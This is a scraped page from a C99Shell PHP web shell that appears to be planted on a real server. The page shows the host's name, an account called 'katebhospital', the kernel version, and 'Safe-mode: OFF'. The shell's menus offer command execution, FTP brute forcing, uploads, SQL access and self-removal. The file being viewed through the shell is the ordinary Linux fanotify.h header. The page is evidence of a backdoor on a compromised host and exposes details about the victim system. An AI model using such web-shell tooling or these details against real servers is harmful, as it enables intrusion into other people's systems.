!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/usr/include/linux/   drwxr-xr-x
Free 294.46 GB of 429.69 GB (68.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fanotify.h (5.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _LINUX_FANOTIFY_H
#define _LINUX_FANOTIFY_H

#include <linux/types.h>

/* the following events that user-space can register for */
#define FAN_ACCESS        0x00000001    /* File was accessed */
#define FAN_MODIFY        0x00000002    /* File was modified */
#define FAN_CLOSE_WRITE        0x00000008    /* Writtable file closed */
#define FAN_CLOSE_NOWRITE    0x00000010    /* Unwrittable file closed */
#define FAN_OPEN        0x00000020    /* File was opened */
#define FAN_OPEN_EXEC        0x00001000    /* File was opened for exec */

#define FAN_Q_OVERFLOW        0x00004000    /* Event queued overflowed */

#define FAN_OPEN_PERM        0x00010000    /* File open in perm check */
#define FAN_ACCESS_PERM        0x00020000    /* File accessed in perm check */
#define FAN_OPEN_EXEC_PERM    0x00040000    /* File open/exec in perm check */

#define FAN_ONDIR        0x40000000    /* event occurred against dir */

#define FAN_EVENT_ON_CHILD    0x08000000    /* interested in child events */

/* helper events */
#define FAN_CLOSE        (FAN_CLOSE_WRITE | FAN_CLOSE_NOWRITE) /* close */

/* flags used for fanotify_init() */
#define FAN_CLOEXEC        0x00000001
#define FAN_NONBLOCK        0x00000002

/* These are NOT bitwise flags.  Both bits are used together.  */
#define FAN_CLASS_NOTIF        0x00000000
#define FAN_CLASS_CONTENT    0x00000004
#define FAN_CLASS_PRE_CONTENT    0x00000008

/* Deprecated - do not use this in programs and do not add new flags here! */
#define FAN_ALL_CLASS_BITS    (FAN_CLASS_NOTIF | FAN_CLASS_CONTENT | \
                 FAN_CLASS_PRE_CONTENT)

#define FAN_UNLIMITED_QUEUE    0x00000010
#define FAN_UNLIMITED_MARKS    0x00000020
#define FAN_ENABLE_AUDIT    0x00000040

/* Flags to determine fanotify event format */
#define FAN_REPORT_TID        0x00000100    /* event->pid is thread id */

/* Deprecated - do not use this in programs and do not add new flags here! */
#define FAN_ALL_INIT_FLAGS    (FAN_CLOEXEC | FAN_NONBLOCK | \
                 FAN_ALL_CLASS_BITS | FAN_UNLIMITED_QUEUE |\
                 FAN_UNLIMITED_MARKS)

/* flags used for fanotify_modify_mark() */
#define FAN_MARK_ADD        0x00000001
#define FAN_MARK_REMOVE        0x00000002
#define FAN_MARK_DONT_FOLLOW    0x00000004
#define FAN_MARK_ONLYDIR    0x00000008
/* FAN_MARK_MOUNT is        0x00000010 */
#define FAN_MARK_IGNORED_MASK    0x00000020
#define FAN_MARK_IGNORED_SURV_MODIFY    0x00000040
#define FAN_MARK_FLUSH        0x00000080
/* FAN_MARK_FILESYSTEM is    0x00000100 */

/* These are NOT bitwise flags.  Both bits can be used togther.  */
#define FAN_MARK_INODE        0x00000000
#define FAN_MARK_MOUNT        0x00000010
#define FAN_MARK_FILESYSTEM    0x00000100

/* These are NOT bitwise flags.  Both bits can be used togther.  */
#define FAN_MARK_INODE        0x00000000
#define FAN_MARK_MOUNT        0x00000010

/* Deprecated - do not use this in programs and do not add new flags here! */
#define FAN_ALL_MARK_FLAGS    (FAN_MARK_ADD |\
                 FAN_MARK_REMOVE |\
                 FAN_MARK_DONT_FOLLOW |\
                 FAN_MARK_ONLYDIR |\
                 FAN_MARK_IGNORED_MASK |\
                 FAN_MARK_IGNORED_SURV_MODIFY |\
                 FAN_MARK_FLUSH|\
                 FAN_MARK_TYPE_MASK)

/* Deprecated - do not use this in programs and do not add new flags here! */
#define FAN_ALL_EVENTS (FAN_ACCESS |\
            FAN_MODIFY |\
            FAN_CLOSE |\
            FAN_OPEN)

/*
 * All events which require a permission response from userspace
 */
/* Deprecated - do not use this in programs and do not add new flags here! */
#define FAN_ALL_PERM_EVENTS (FAN_OPEN_PERM |\
                 FAN_ACCESS_PERM)

/* Deprecated - do not use this in programs and do not add new flags here! */
#define FAN_ALL_OUTGOING_EVENTS    (FAN_ALL_EVENTS |\
                 FAN_ALL_PERM_EVENTS |\
                 FAN_Q_OVERFLOW)

#define FANOTIFY_METADATA_VERSION    3

struct fanotify_event_metadata {
    __u32 event_len;
    __u8 vers;
    __u8 reserved;
    __u16 metadata_len;
    __aligned_u64 mask;
    __s32 fd;
    __s32 pid;
};

/*
 * User space may need to record additional information about its decision.
 * The extra information type records what kind of information is included.
 * The default is none. We also define an extra information buffer whose
 * size is determined by the extra information type.
 *
 * If the information type is Audit Rule, then the information following
 * is the rule number that triggered the user space decision that
 * requires auditing.
 */

#define FAN_RESPONSE_INFO_NONE        0
#define FAN_RESPONSE_INFO_AUDIT_RULE    1

struct fanotify_response {
    __s32 fd;
    __u32 response;
};

struct fanotify_response_info_header {
    __u8 type;
    __u8 pad;
    __u16 len;
};

struct fanotify_response_info_audit_rule {
    struct fanotify_response_info_header hdr;
    __u32 rule_number;
    __u32 subj_trust;
    __u32 obj_trust;
};

/* Legit userspace responses to a _PERM event */
#define FAN_ALLOW    0x01
#define FAN_DENY    0x02
#define FAN_AUDIT    0x10    /* Bitmask to create audit record for result */
#define FAN_INFO    0x20    /* Bitmask to indicate additional information */

/* No fd set in event */
#define FAN_NOFD    -1

/* Helper functions to deal with fanotify_event_metadata buffers */
#define FAN_EVENT_METADATA_LEN (sizeof(struct fanotify_event_metadata))

#define FAN_EVENT_NEXT(meta, len) ((len) -= (meta)->event_len, \
                   (struct fanotify_event_metadata*)(((char *)(meta)) + \
                   (meta)->event_len))

#define FAN_EVENT_OK(meta, len)    ((long)(len) >= (long)FAN_EVENT_METADATA_LEN && \
                (long)(meta)->event_len >= (long)FAN_EVENT_METADATA_LEN && \
                (long)(meta)->event_len <= (long)(len))

#endif /* _LINUX_FANOTIFY_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0039 ]--